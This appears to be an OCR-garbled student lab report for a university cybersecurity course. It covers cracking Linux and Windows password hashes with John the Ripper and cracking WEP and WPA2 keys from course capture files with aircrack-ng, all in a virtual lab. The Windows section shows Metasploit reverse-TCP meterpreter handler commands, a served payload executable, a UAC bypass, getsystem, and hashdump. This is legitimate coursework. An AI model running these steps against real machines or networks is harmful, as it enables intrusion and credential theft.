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Task A: Linux Password Cracking

1. Create two groups, one is cyse301, and the other is your ODU Midas ID. Then display

the corresponding group IDs

? Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection

File  Action Media View Help
D@0 nw D B

S e mP D]

root@kali: ~

File Actions Edit View

cyseinl

-

ralarega2

=

1l fetc/group

wiresharl

File System




2. Create and assign three users to each group. Display related UID and GID information of
each user

? Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection

File  Action Media View Help
D@0 umw O PEg

root@kali: ~

= File Actions

VMshare

Jetc/passud
xrdp:x:134:138 :: /run/xrdp:/usr/sbin/nologin
snort:x:135: : usr/sbin/nologin
fusr/sbin/nolegin
fopt/splunk: fbin/bash
File System r Rl : /home/ bin/sh
i r2:/bin/sh

VMshare




3. Choose three new passwords, from easy to hard, and assign them to the users you created.
You need to show me the password you selected in your report, and DO NOT use your

real-world passwords

I‘ﬂ Kali - Internal Workstation on CY307-RALARDOZ - Virtual Machine Connection
File Action Media View Help

VOO N RO B

root@kali; ~

File Actions Edit View Help

VMshare

VMshare




4. Export all three users’ password hashes into a file named “YourMIDAS-HASH”. Then
launch a dictionary attack to crack the passwords. You MUST crack at least one password

in order to complete this assignment

? Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Cennection

File Action Media View Help

root @kali: ~

= File Actions Edit View Help

VMshare 7
rockyou.txt
fusr/share/wordlists/rockyou.txt.gz

~

fusr/share/wordlists/rockyou.txt.gz .

forralar@e2.txt passwd_ralar@e2 ralar@@?.txt rralar@@?.exe
'lab2 .pcapng’ ralar®2.exe
ralar@ez?. exe

rockyou.txt.gz
File System

forralar@e2.txt passwd_ralar@ez ralar@e2.txt rralar@@z.exe
'lab2 .pcapng’ ralar@?.exe
ralar@@2.exe rockyou.txt

Created directory: /froot/.john

John the Ripper 1.9.0-jumbo-l+bleeding-aec1328d6c 2021-11-@2 10@:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVXS512BW
AC]

Copyright (c) 1996-2021 by Solar Designer and others

Homepage: https://ww.openwall.com/john/

VMshare Usage: john [OPTIONS] [PASSWORD-FILES]

Use —help to list all available options.

1l fetc/shadow
xrdp:!:
snort:!1:19774
syslog:!:19774
splunk:!:19873:9:99999:7 :::
userl:!:20@46:80:99999:7 52
user?: 1 I20046:0:99999:7 :1::
userd:i20046:0:99999:7 111
namel:$!,r$j9T$Gchc:(EHyl‘fTI-191'556hEZ1$9FRIthzK59|ﬂkbza!<hw‘-*jg1v3mm9E@xl‘-‘L’n‘.‘C]kaW6[D:2@@&6:@:99999:? <5
name2 : $y$i9TImAS J5Z9HTkFFBwW. J1Nb1S1$yC/wiQpJ2UFBFIEkxqUcrEE3ZrUD1RTLghm@oMaxds,/ 120046:0:99999:7 1::
name3 :$y4jOTSAPEZKGBanbXFIOPMWEMZ t /$yZ5Uxc70ddOn/Ji0L030/ I 3ui8kVLvweY3puZ jI697 :120046:0:99999:7 :::

—~

hashfile. txtl]




= root@kali: ~

File Actions Edit View Help
user3:!:J@046:0:999G9 7 1!

namel:$y$j9T$GchcKEHy1¥TM9r556hE21$9FRIth2KSkabzaKthjglmemQE@xMWCkaPhﬁﬁID:2@@&6:@:99999:
name2:$y$j9T$mAg J5Z9HFkFFBw. J1Nb151%yC/wjiQpI2UFBf JEkxgUcrEE3ZrUD1@TLgEMBOMaXds /- 28046:0: 99900 :
name3: $y$I9TEAPEZKGEanbXFIOPMWEmMZt /$yZ5Uxc70ddQn/Ji0L030/TL3ui8kVLvweY3puZJ697:20046:@: 995999 :

-

namelhash.txt

B

namelhash.txt

namel:$y$j9f$GchcKEHV1?TM9r556hEZ1$9FRIthzKSkabzaKthjglySmeE@xMWCkaPﬁVﬁID:2@@&6:@:99999:

-format=crypt pralist namelhash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [2/64])
Cost 1 (algorithm [1:descrypt 2:md5Scrypt 3:sunmd5 4:bcrypt 5:sha2bberypt 6:shabl2crypt]) is @
aded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'g’ or Ctrl-C to abort, almost any other key for status
ello Cnamel}
1g 0:00:080:91 DONE (2024-11-19 83:23) @8.9174¢g/s B8.07p/s 88.07c/s BB.07C/s 123456..vellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

-

namelhash.txt
namel:hello:20046:0:99999:7 ::

1 password hash cracked, @ left

b B |

for

all lo



Task B: Windows Password Cracking

1. Display the password hashes by using the “hashdump” command in the meterpreter shell

2. Save the password hashes into a file named “your midas. WinHASH” in Kali Linux (you
need to replace the “your midas” with your university MIDAS). Then run John the ripper
for 10 minutes to crack the passwords (You MUST crack at least one password in order
to complete this assignment)

¥301-RALARDDZ - Virtual Machine Connection

Help
f= D Bg

root@kali: ~

File Actions Edit View Help

-

Metaspleit tip: Use sessions -1 to interact with the

MMM
JNMBIMPBMMI 0
MMMMMIY

:/D0000+:+04+++ 0000+




i

f root@kali: ~
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/
msfé » use exploit/multi/handler
Using configured payload generic/shell_reverse tcp
msfé exploit( ) » set payload windows/meterpreter/reverse tcp

payload = windows/meterpreter/reverse_tcp
msf6 exploit( ) » show options

Module options (exploit/multi/handler):

Name Current Setting Reguired Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '", seh, thread, process, none)

LHOST yes The listen address (an interface may be specified)
LPORT Lbbl yes The listen port

Exploit target:
Id Name

Wildcard Target

View the full module info with the inf r info -d command.

msf6 exploit( ) > il

root @kali: ~

) > set lport 4428
) » set lhost 192.168.10.13
) > show options
Module options (expleoit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

LHOST 192.168.10.13 yes The listen address (an interface may be specified)
LPORT L4378 yes The listen port

EXITFUNC process Ves Exit technigue (Accepted: '’', seh, thread, process, none)

Exploit target:
Id Name

®  Wildcard Target

View the full module info with the Fo 1ot d command.

msf6 exploit( )} > exploit




File Actions Edit View Help

root@kali: ~

File Actions Edit View Help

apache? start

[ Indexof/ X (=D =N |
&< C | ® 1921681013 Y| &
Index of /

Name Last modified Size Description
ralar002 exe 2024-10-30 01:07 72K
ralar02 exe 2024-10-3002:11 72K
Apache’2.4.38 (Debian) Server at 192.168.10.13 Port 80
B rajaro2 (6).exe £ B ralaroz (5).exe £ Shaw all x

View the full module info with the info info -d command.

) > exploit




root@kali: ~

File Actions Edit View Help

5 exploit/windows/local/bypassuac 2018-12-31 =xcellent Windows
Escalate UAC Protection Bypass

3] exploit/windows/local/bypassuag_injection 2018-12-31 : Llent Windows
Escalate WAE Protection Bypass (In Memory Injection)

7 exploit/windows/Llocal/bypassuac_injection_winsxs 2017-04-06 axcellent Windows
Escalate UAE Protection Bypass (In Memory Injection) abusing WinSxs

8 exploit/windows/local/bypassuae_vbs 2015-08-22 : Llent Windows
Escalate UAC Protection Bypass (ScriptHost Vulmerability)

g exploit/windows/local/bypassuae_comhijack 1900-01-01 =xcellent Windows
Escalate UAC Protection Bypass (Via COM Handler Hijack)

10 exploit/windows/local/bypassuac_eventvwr 2016-08-15 : L1lent Windows
Escalate UAC Protection Bypass (Via Eventvwr Registry Key)

11 exploit/windows/local/bypassuac_sdclt 2017-83-17 =xcellent Windows
Escalate UAE Protection Bypass (Via Shell Open Registry Key)

12 exploit/windows/local/bypassuac_silentcleanup 2019-82-24 : Llent Windows
Escalate WAE Protection Bypass (Via SilentCleanup)

13 exploit/windows/local/bypassuac_dotnet_profiler 2017-03-17 sxcellent Windows
Escalate UAC Protection Bypass (Via dot net profiler)

14 post/windows/gather/win_privs normal Windows
Gather Privileges Enumeration

15 exploit/windows/local/tokenmagic 2017-85-25 excellent Windows
Privilege Escalation via TokenMagic (UAE Bypass)

16 exploit/windows/local/bypassuac_fodhelper 2017-85-12 : L1ent Windows
UAE Protection Bypass (Via FodHelper Registry Key)

17 exploit/windows/local/bypassuac_sluihijack 2018-01-15 =xcellent Windows
UAC Protection Bypass (Via Slui File Handler Hijack)

Interact with a module by name or index. For example

msf6 exploit( } » use 5
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfé exploit( ) > 1

a0 root@kali: ~
File Actions Edit View Help

meterpreter > shell

Process 3836 created.

Channel 2 created.

Microsoft Windows [Version 6.1.7608]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Users\Window 7%\Downloadszhashdump

hashdump

'hashdump’ is not recognized as an internal or exterpnal command,
operable program or batch file.

C:\Users'\Window 7%\Downloads>exit
exit
meterpreter > background
Backgrounding session 1...
msf6 exploit( ) » search wac

Matching Modules

Disclosure Date Descrip

post/windows/manage/sticky_keys Sticky
Keys Persistence Module
1 exploit/windows,/local/cve_2022_26904_superprofile 2022-03-17 cel t User Pr
ofile Arbitrary Junction Creation Local Privilege Elevation
2 exploit/windows,/local/bypassuac_windows_store_filesys 2019-08-22 manual Windows
10 UAE Protection Bypass Via Windows Store (WSReset.exe)
3 exploit/windows/local/bypassuac_windows_store_reg 2019-92-19 manual Windows
1@ UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry y : v
4  exploit/windows/local/ask 2012-01-03 cellent W fAdows |




root@kali: ~
File Actions Edit View Help

Interact with a module by name or index. For example

mste exploit( )} > use 5
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfe exploit( } > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msfé exploit( } > show options

Module options (exploit/windows/local/bypassuac):

Name Current Setting Reguired Description

SESSION YES The session to run this module on
TECHNIQUE EXE VEes Technigue to use if UAC is turned off (Accepted: PSH, EXE)

Payload options {windows/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC process yes Exit technigue (Accepted: "', seh, thread, process, none)
LHOST 192.168.108.13 yes The listen address (an interface may be specified)
LPORT bbbl yes The listen port

Exploit target:

Id Name

0 Windows x86

root@kali: ~
File Actions Edit View Help

View the full module info with the info, or info -d command.

msf6 exploit( ) > set lport 4428
lport = 4428

msf6 exploit( ) » set session 1
session = 1

msfé exploit( )} » exploit

Started reverse TCP handler on 192.168.10.13:4428

UAC is Enabled, checking level ...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Part of Administrators group! Continuing...

Uploaded the agent to the filesystem....

Uploading the bypass UAC executable to the filesystem...

Meterpreter stager executable 73882 bytes long being uploaded ..

Sending stage (176198 bytes) to 192.168.10.9

Meterpreter session 2 opened (192.168.10.13:4428 — 192.168.10.9:1046) at 2024-11-19 85:43:37 -0500

meterpreter > getsystem

... got system via technigque 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter » shell

Process 1544 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.




er fadd rameem pgssword
Jadd raneem p@ssword
command completed successfully.

pAsswdrdl

indows’
user /fadd reem pas$
command completed suc

Administr:
Guest:501




root@kali: ~

ralar@e2.WinHASH
Administrator $
Guest

RD-FILES]
le options.

rdli ro ] ralarg02.WinHASH
detected hash t "LM", but the string is also recognized as
=/F NT" option to force loading these as that type instead

fault input enc

I
T OpenMP bilit: 5 e, consider --fork
OpenMP threads
C to ort, almost any other
)

Admin
Guest :: 501:
HomeGrouplse

reem:

Window

7 pa




Task C

1. Decrypt the labSwep-demo. cap file and perform a detailed traffic analysis

root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5

File Actions Edit View Help
~/../VMshare/Lab Resources (2823 Spring)/Lab Resources/Module 5

/Module 5

~/../VMshare/Lab Resources (2823 Spring)/Lab Resources/Module 5
lab5wep-demo.cap
e wait ...

Encryption

ccni-test WEP (19772 IVs)

(R

hpsetup nown

o ;o

o~

WPA (@ handsl )
EAPOL+WPA (@ handsh




=] root@kali: ~/Desktop/VMsharefLab Resources (2023 Spring)/Lab Resources/Module 5

File Actions Edit View Help
27 F4:7F:3bi42:1@QE:C2 Unknown

Index number of target network ? 1

Reading packets, please wait ...
Opening lab5wep-demo.cap
Read 404693 packets.

1 potential targets
Attack will be restarted every 50080 captured ivs.

Aircrack-ng 1.7

[@@:00:03] Tested 231 keys (got 19772 IVs)

depth byte(vote)

a; 2 F2(28928) 7A(27136) 30(26112) 21(24832) 27(24832) 03(24576) FB(24576) 05(24320) 38(24064)
9/ 1@ C7(24@64) 71(23808) 5C(23552) 2@(23296) 2A(23296) 52(23296) 84(23296) 99(23040) DE(23048)
8/ 1 BB(38208) AB(25344) BF(25344) DO(24832) @8(24576) 93(24576) CC(24328) D3(24064) @9(238@8)
8/ 12 FC(24@64) 25(238688) 2A(23808) A9(23808) BD(238@8) @@(23552) 42(23552) 3F(23296) 62(23296)
a8/ 1 BO(38720) 33(26624) 2E(25344) C4(25344) BA(25088) ED(25888) 55(24832) 77(24832) 9C(24576)

KEY FOUND! [ F2:C7:BB:35:B9 ]

Decrypted correctly: 10@%

~f../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5

root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Medule 5

File Actions Edit View Help

[@@:00:83] Tested 231 keys (got 19772 IVs)

depth byte(vote)

e/ 2 F2(28928) 7A(27136) 30(26112) 21(24832) 27(24832) 03(24576) FB(24576) @5(243208) 38(24064)
9/ 18 C7(24@64) 71(23808) 5C(23552) 2@(23296) 2A(23296) 52(23296) 84(23296) 99(23048) DE(23040)
8/ 1 BB(30208) AB(25344) BF(25344) D0(24832) 08(24576) 93(24576) CC(24320) D3(24@64) 09(23808)
8/ 12 FC(24@64) 25(23808) 2A(2380@8) A9(23808) BD(23808) 08(23552) 42(23552) 3F(23296) 62(23296)
@/ 1 B9(30720) 33(26624) 2E(25344) C4(25344) 64(25088) ED(25088) 55(24832) 77(24832) 9C(24576)

KEY FOUND! [ F2:C7:BB:35:B9 ]
Decrypted correctly: 10@%

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
| F2:C7:BB:35:B9 labSwep-demo.cap

Total number of stations seen 37

Total number of packets read 404693

Total number of WEP data packets 142415

Total number of WPA data packets 27852

Number of plaintext data packets 17@

Number of decrypted WEP packets 142415

Number of corrupted WEP packets 5]

Number of decrypted WPA packets 4]

Number of bad TKIP (WPA) packets 5}

Number of bad CCMP (WPA) packets 5]

Warning: WDS packets detected, but no BSSID specified

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5




root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
File Actions Edit View Help

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
lab5wep-demo=-dec.cap

Wireshark - Protocol Hierarchy Statistics - lab5wep-demo-dec.cap

File Edit View Go Capture Analyze Statistics T —

ﬂ D ﬂ @ i - m @ a ¢ > Protocol * Percent Packets Packets  Percent Bytes

~ Frame . 142415
~ Ethernet . 142415
~ Internet Protocol Version 6 i 60
Source

.00EBE0 CiscolLinksys da:cf:. - UseNr‘Dl?_tagrtaI;nProltocNol Syst 2 :g
.281158 70.186.28.24 M HCee T 0mall Natne oy sterT :

. g3 - DHCPv6 ! 6
el ABRlE. 32 8508 Internet Control Message Protocol v6 : 14
133124 . .30, ~ |Internet Protocol Version 4 i 19550
.138756 . .30. ~ User Datagram Protocol . 198
.175108 . .308. NetBIOS Name Service
.175108 7 .30. ~ NetBIOS Datagram Service
.232451 . w8 ~ SMB (Server Message Block Protocol)
.175102 - jy ~ SMB MailSlot Protocol
Microsoft Windows Browser Protocol
Multicast Domain Name System
» Frame 1: Y Dynamic Host Configuration Protocol
’ Eth'l‘f'[lEt II, Src: 7 Dropbox LAN sync Discovery Protocol
» Data (38 bytes) Domain Name System
~ Transmission Control Protocol

No display filter.

Protocols -  ©iHelp




2. Decrypt the labSwpa2-demo. cap file and perform a detailed traffic analysis

= reot@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Rescurces/Medu
File Actions Edit View Help

~/./VMshare/Lab Resources (2823 Spring)/Lab Resources/Module 5
- lab5Swpa2-demo.cap
Reading packets, please wait ...
Opening lab5SwpaZ-demo.cap
Read l@a74

e

SSID Encryption

ccni-test WEP (19 IVs)
Unknown
Unknown

CCNT WPA (1 handshake)
Unknown

AccessODU Unknown

L RS s

I
5
(5]

~1

)

MonarchODU

1= ]

Unknown
Index
Reading p:

Opening 1
Read l1@@74

Please specify a dictionary (option -w)

~/../VMshare/Lab Resources (2823 Spring)/Lab Resources/Module 5




~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module
Jusr/share/wordlists/rockyou.txt.gz .

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module
rockyou.txt.gz

~/../UMshare/Lab Resources (2023 Spring)/Lab Resources/Module

wWeaD 1-01 2-01 - WPA?-P5-B1
WFERL=F 4= C L e=Fa= { IFRL=Fa3=%

~/../UMshare/Lab Resources (2023 Spring)/Lab Resources/Module

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
alr o labSwpaz-demo.cap -w rockyou.txt
Reading packets, please wait...
Opening labSwpaZ-demo.cap
Read 18874 packets.

# BSS5ID ESSID Encryption

PO:16:B6!DAICF:32 ccni-test WEP (@ IVs)
S8:BF:EAIFAI3B:B@ Unknown
SE:BF:IEAIFA:IBIAR Unknown
98:FC:11:7C:D@:CTF CCNI WPA (1 handshake)
F4:7Fi35:04:70:FQ Unknown
F4:7F:35:329:0A:A0 AccessODU Unknown
F4:T7Fi35:39:0AA1 Unknown
F4:7F:35:39:0A:A2 MonarchODU Unknown
F4:7F:35:30:0A:A4 edurocam Unknown

1
2
3
4
3]
(3]
Fj
8
9

Index number of target network 7 4
Reading packets, please wait ...
Opening labSwpa2-demo.cap

Read 18874 packets.

1 potential targets

Aircrack-ng 1.7

[@B:@@:08] 8/14344392 keys tested (29.06 k/s)




Aircrack-ng 1.7
[00:00:00] 8/14344392 keys tested (29.86 k/s)
Time left: 5 days, 17 hours, 7 minutes, 58 seconds
KEY FOUND! [ password ]
Master Key 2 73 86 96 81
2B 6E 94 45
Transient Key : AA B9 76 DS
BC C5 96 65
EA BF AE 5F
18 BC D1 @A

EAPOL HMAC i @4 BA 66 ED

~/../IMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5

=) root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/]

File Actions Edit View Help

~f../UMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
3 i password labSwpa2-demo.cap
You must also specify the ESSID (-e).
"airdecap-ng —help” for help.

~f../VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
i password labSwpa2-demo.cap -= CCNI

Total number of stations seen 13

Total number of packets read 18674

Total number of WEP data packets 19

Total number of WPA data packets 2284

Number of plaintext data packets

Number of decrypted WEP packets

Number of corrupted WEP packets

Number of decrypted WPA packets

Number of bad TKIP (WPA) packets

Number of bad CCMP (WPA) packets

Warning: WDS packets detected, but no BSSID specified

~/../fUMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5




~/..fWMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
lab5wpa2-demo-dec.cap

Wireshark - Protocol Hierarchy Statistics - labSwpa2-demao-dec.cap

File Edit View Go Capture Analyze Statistics T

ﬂ D ﬂ @ = - ﬁ @ Qe Protocol ~ Percent Packets Packets Percent Bytes
- Frame 100.0 2228 100.0

/ | rae st I> - Ethernet 100.0 2228 6.8

- Internet Protocol Version 6 0.1 0.0

o ~ User Datagram Protocol 0.0 0.0

13 65 Multicast Domain Name System 0.0 01

199 .168.2.23 Internet Control Message Protocol v6 01 0.0

192.168.2.23 ~ Internet Protocol Version 4 99.7 9.7

0.480768 . = User Datagram Protocol 1.5 01
9.660032 fe80: :a65e:60ff: fed,) Network Time Protocol 0.0 0.0
0.842304 Apple_d3:93:65 Multicast Domain Name System 0.0 0.0
0.883264 192.168.2.23 GQUIC {Google Quick UDP Internet Connections) 01 03
:93: Domain Name System 1.0 0.2

Data 0.3 0.3
= Transmission Control Protocol 98.2 826

Transport Layer Security L 85

- Hypertext Transfer Protocol 2.8 14.2

Pol twork Graphics 0.0 0.2

Data 0.0 01

Address Resolution Protocol 0.2 0.0

Source

No dispiay filter.

X Close | Copy - Protocols - 3 Help




Task D

1. Implement a dictionary attack and decrypt the traffic using the correct file based on your
last character of md5 hash for your midas name

L

File Actions Edit View Help

ralarge2

root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/\WPA traffic
File Actions Edit View Help

~f../VMshare/Lab Resources (2023 Spring)/Lab Resources/WPA traffic
WPAZ-P3-01.cap
Reading pack se wailt...

Opening WP
Read 5269 pac

# BSSID 551D Encryption
1 @0:16:B6:DAICF:ZF Cy WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening W 3-B1.cap
Read 5269 pac
1 potential targets

Please specify a dictionmary (option -w).

~f../VMshare/Lab Resources (2023 Spring)/Lab Resources/WPA traffic




~f../WMshare/Lab Resources (2023 Spring)/Lab
fusr/share/wordlists/rockyou.txt.gz .

~/../NMshare/Lab Resources (2823 Spring)/Lab

~f../VMshare/Lab Resources (2823 Spring)/Lab
rockyou.txt.gz

~/../NMshare/Lab Resources (2823 Spring)/Lab
WPAZ-P1-81

y.cap rockyou.txt

~/../VMshare/Lab Resources (2823 Spring)/Lab

Resources,/WPA

Resources,/WPA

cap
cap

Resources/WPA

Resources,/WPA

P

cap WPA2-P2-81

Resources/WPA

traffic

traffic
WPAZ-P3-81.cap

cap

traffic

i root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/WPA traffic

File Actions Edit View Help

~/../NMshare/Lab Resources (2023 Spring)/Lab Resources/WPA traffic

air o WPAZ2-P3-@l.cap -w
Reading packets, please wait ...
Opening WPA2-P3-21.cap

Read 5269 packets.

# BS5ID ESSID

1l @8:16:B6:DA:CF:2F CyberPHY
Choosing first network as target.
Reading packets, please wait...
Opening WPA2-P3-21.cap

Read 5269 packets.

1 potential targets

rockyou. txt

Encryption

WPA (1 handshake)

Aircrack-ng 1.7

[e@:@@:@@] 337/10303727 keys tested (2335.49 k/s)

Time left: 1 hour,

KEY FOUND!

Master Key

Transient Key

EAPOL HMAC

13 minutes, 31 seconds

[ manchester 1]

~/../VMshare/Lab Resources (2023 Spring)/Lab Resources/WPA traffic
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Wireshark - Protocol Hierarchy Statistics - WPA2-P3-01-dec.cap

* Frame 100.0 1169 100.0 657603
~ Ethernet 100.0 1169 25 16366
~ Internet Protocol Version 6 29 34 0.2 1360
~ User Datagram Protocol 23 27 0.0 216
Multicast Domain Name System 0.5 6 0.0 240
Link-local Multicast Name Resolution 15 18 0.1 517
DHCPvE 03 = 0.0 285
Internet Control Message Protocol v6 0.6 7 0.0 176
~ Internet Protocol Version 4 96.4 34 22560
~ User Datagram Protocol 853 1k 7976
Simple Service Discovery Protocol 0.2 0.1 346
NetBIOS Name Service 22 0.2 1444
Multicast Domain Name System 0.4 0.0 200
Link-local Multicast Name Resolution 1.0 0.1 335
Domain Name System 0.3 0.0 187
Frame 1: > DY 0 its), 95 Data 81.1 88.5 582266
Ethernet M soft_ca:e7:60 (b4 ~ Transmission Control Protocol 78 33 21425
Internet g E LU P Transport Layer Security 27 21 13657
' Internet Group Management Protocol 0.4 0.0 88

Source
Fcleleferelo] feB80::75e6:F267:879.
. 047617 192.168.1.118
.352258 131.253.34.2308
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